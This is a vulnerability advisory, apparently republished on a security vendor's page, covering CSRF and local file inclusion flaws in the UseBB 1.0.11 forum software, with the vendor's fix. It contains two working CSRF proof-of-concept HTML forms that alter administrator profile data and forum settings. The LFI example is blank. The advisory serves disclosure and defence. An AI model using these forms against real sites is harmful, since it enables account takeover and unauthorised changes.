Total Tests:

Multiple Vulnerabilities in UseBB

Advisory ID:HTB22913
Vulnerable Versions:1.0.11 and Probably Prior Versions
Tested Version:1.0.11
Advisory Publication:March 22, 2011 [without technical details]
Vendor Notification:March 22, 2011
Public Disclosure:April 5, 2011
Latest Update:April 14, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
PHP File Inclusion [CWE-98]
Risk Level:High
CVSSv2 Base Scores:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in UseBB which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in UseBB
1.1 The vulnerability exists due to insufficient validation of the request origin in panel.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://[host]/panel.php?act=editprofile" method="post" name="main" id="main">
<input type="hidden" name="displayed_name" value="123">
<input type="hidden" name="real_name" value="">
<input type="hidden" name="avatar_remote" value="">
<input type="hidden" name="birthday_month" value="">
<input type="hidden" name="birthday_day" value="">
<input type="hidden" name="birthday_year" value="">
<input type="hidden" name="location" value="">
<input type="hidden" name="website" value="">
<input type="hidden" name="occupation" value="">
<input type="hidden" name="interests" value="">
<input type="hidden" name="signature" value="">
<input type="hidden" name="email" value="">
<input type="hidden" name="msnm" value="">
<input type="hidden" name="yahoom" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="jabber" value="">
<input type="hidden" name="skype" value="">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn">

1.2 The vulnerability exists due to insufficient validation of the request origin in admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify forum settings.
Exploitation example:
<form action="http://[host]/admin.php?act=forums&do=add" method="post" name="main" id="main">
<input type="hidden" name="name" value="123">
<input type="hidden" name="cat_id" value="1">
<input type="hidden" name="descr" value="">
<input type="hidden" name="status" value="1">
<input type="hidden" name="moderators" value="">
<input type="hidden" name="increase_post_count" value="1">
<input type="hidden" name="auto_lock" value="">
<input type="hidden" name="auth0" value="0">
<input type="hidden" name="auth1" value="0">
<input type="hidden" name="auth2" value="0">
<input type="hidden" name="auth3" value="0">
<input type="hidden" name="auth4" value="0">
<input type="hidden" name="auth5" value="0">
<input type="hidden" name="auth6" value="0">
<input type="hidden" name="auth7" value="0">
<input type="hidden" name="auth8" value="0">
<input type="hidden" name="auth9" value="0">
<input type="submit" id="btn">

2) Local files inclusion weakness in UseBB
The weakness exists due to insufficient sanitation of input data in the "act" parameter in admin.php. A malicious user with administrator privileges can include and execute arbitrary files on the target system
Exploitation example:

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Upgrade to UseBB 1.0.12.
More Information:

[1] High-Tech Bridge Advisory HTB22913 - - Multiple Vulnerabilities in UseBB
[2] UseBB - - UseBB is a light and Open Source PHP 4 and MySQL based forum package, distributed freely under the GPL license.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
Your data will stay private and confidential